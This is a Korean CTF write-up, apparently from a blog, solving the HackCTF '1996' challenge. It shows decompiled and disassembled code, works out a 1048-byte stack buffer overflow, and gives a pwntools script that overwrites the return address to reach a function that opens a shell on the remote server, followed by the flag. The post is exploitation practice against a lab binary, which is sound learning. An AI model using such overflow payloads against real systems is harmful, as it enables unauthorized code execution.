[문제]
[풀이]
- 64bit 바이너리
- 카나리 없음
- NX bit 존재
- PIE 없음
바이너리 실행
- 사용자로부터 환경변수 값을 입력 받음
IDA 분석 - main 함수
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rdx@1
__int64 v4; // rax@1
__int64 v5; // rdx@1
__int64 v6; // rbx@1
char *v7; // rax@1
__int64 v8; // rdx@1
__int64 v9; // rax@1
char name; // [rsp+0h] [rbp-410h]@1
std::operator<<<std::char_traits<char>>(&_bss_start, "Which environment variable do you want to read? ", envp);
std::operator>><char,std::char_traits<char>>(&std::cin, &name);
v4 = std::operator<<<std::char_traits<char>>(&_bss_start, &name, v3);
v6 = std::operator<<<std::char_traits<char>>(v4, "=", v5);
v7 = getenv(&name);
v9 = std::operator<<<std::char_traits<char>>(v6, v7, v8);
std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
return 0;
}
- 입력 값으로 받은 사용변수는 name 변수로 받아 bss 영역에 저장됨 → 입력 값 길이에 대한 제한 없어 BOF 발생
- name을 getenv 함수로 환경변수 값을 호출하여 반환
IDA 분석 - spawn_shell 함수
int spawn_shell(void)
{
char *argv; // [rsp+0h] [rbp-10h]@1
__int64 v2; // [rsp+8h] [rbp-8h]@1
argv = "/bin/bash";
v2 = 0LL;
return execve("/bin/bash", &argv, 0LL);
}
- flag 출력
gdb 분석 - 함수 주소
pwndbg> info func
All defined functions:
Non-debugging symbols:
0x0000000000400718 _init
0x0000000000400740 std::basic_istream<char, std::char_traits<char> >& std::operator>><char, std::char_traits<char> >(std::basic_istream<char, std::char_traits<char> >&, char*)@plt
0x0000000000400750 __cxa_atexit@plt
0x0000000000400760 std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt
0x0000000000400770 std::ostream::operator<<(std::ostream& (*)(std::ostream&))@plt
0x0000000000400780 getenv@plt
0x0000000000400790 std::ios_base::Init::Init()@plt
0x00000000004007a0 execve@plt
0x00000000004007b0 _start
0x00000000004007e0 _dl_relocate_static_pie
0x00000000004007f0 deregister_tm_clones
0x0000000000400820 register_tm_clones
0x0000000000400860 __do_global_dtors_aux
0x0000000000400890 frame_dummy
0x0000000000400897 spawn_shell()
0x00000000004008cd main
0x0000000000400968 __static_initialization_and_destruction_0(int, int)
0x00000000004009b1 _GLOBAL__sub_I__Z11spawn_shellv
0x00000000004009d0 __libc_csu_init
0x0000000000400a40 __libc_csu_fini
0x0000000000400a44 _fini
- main: 0x00000000004008cd
- spawn_shell: 0x0000000000400897
gdb 분석 - main 함수
pwndbg> disass main
Dump of assembler code for function main:
0x00000000004008cd <+0>: push rbp
0x00000000004008ce <+1>: mov rbp,rsp
0x00000000004008d1 <+4>: push rbx
0x00000000004008d2 <+5>: sub rsp,0x408
0x00000000004008d9 <+12>: lea rsi,[rip+0x188] # 0x400a68
0x00000000004008e0 <+19>: lea rdi,[rip+0x200779] # 0x601060 <_ZSt4cout@@GLIBCXX_3.4>
0x00000000004008e7 <+26>: call 0x400760 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
0x00000000004008ec <+31>: lea rax,[rbp-0x410]
0x00000000004008f3 <+38>: mov rsi,rax
0x00000000004008f6 <+41>: lea rdi,[rip+0x200883] # 0x601180 <_ZSt3cin@@GLIBCXX_3.4>
0x00000000004008fd <+48>: call 0x400740 <_ZStrsIcSt11char_traitsIcEERSt13basic_istreamIT_T0_ES6_PS3_@plt>
0x0000000000400902 <+53>: lea rax,[rbp-0x410]
0x0000000000400909 <+60>: mov rsi,rax
0x000000000040090c <+63>: lea rdi,[rip+0x20074d] # 0x601060 <_ZSt4cout@@GLIBCXX_3.4>
0x0000000000400913 <+70>: call 0x400760 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
0x0000000000400918 <+75>: lea rsi,[rip+0x17a] # 0x400a99
0x000000000040091f <+82>: mov rdi,rax
0x0000000000400922 <+85>: call 0x400760 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
0x0000000000400927 <+90>: mov rbx,rax
0x000000000040092a <+93>: lea rax,[rbp-0x410]
0x0000000000400931 <+100>: mov rdi,rax
0x0000000000400934 <+103>: call 0x400780 <getenv@plt>
0x0000000000400939 <+108>: mov rsi,rax
0x000000000040093c <+111>: mov rdi,rbx
0x000000000040093f <+114>: call 0x400760 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
0x0000000000400944 <+119>: mov rdx,rax
0x0000000000400947 <+122>: mov rax,QWORD PTR [rip+0x200692] # 0x600fe0
0x000000000040094e <+129>: mov rsi,rax
0x0000000000400951 <+132>: mov rdi,rdx
0x0000000000400954 <+135>: call 0x400770 <_ZNSolsEPFRSoS_E@plt>
0x0000000000400959 <+140>: mov eax,0x0
0x000000000040095e <+145>: add rsp,0x408
0x0000000000400965 <+152>: pop rbx
0x0000000000400966 <+153>: pop rbp
0x0000000000400967 <+154>: ret
End of assembler dump.
- main+53에서 사용자의 입력이 rbp-0x410에 저장됨을 알 수 있음
- ret까지의 offset은 SFP(8)을 더한 0x418(1048)일 것으로 추정
- main에 bp를 걸어 임의의 값(a)입력
- 사용자의 입력은 0x7fffffffda50에 저장됨
문제 해결
💡 dummy(1048)+ spawn_shell_address
Python2
from pwn import *
p = remote("ctf.j0n9hyun.xyz",3013)
e = ELF("./1996")
#spawn_shell = e.symbols['spawn_shell']
payload = "a"*1048 + p64(0x400897)
p.recvuntil("? ")
p.sendline(payload)
p.interactive()
- symbols로 spawn_shell을 구하는게 안먹힘. 이전에는 됐는데 왜 안되는지 모르겠음.
flag
🍒 HackCTF{b29a2800780d85cfc346}
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] g++ pwn (0) | 2022.10.30 |
---|---|
[HackCTF] Poet (0) | 2022.10.30 |
[HackCTF] Random key (0) | 2022.10.30 |
[HackCTF] RTL_Core (0) | 2022.10.30 |
[HackCTF] Beginner_Heap (0) | 2022.10.30 |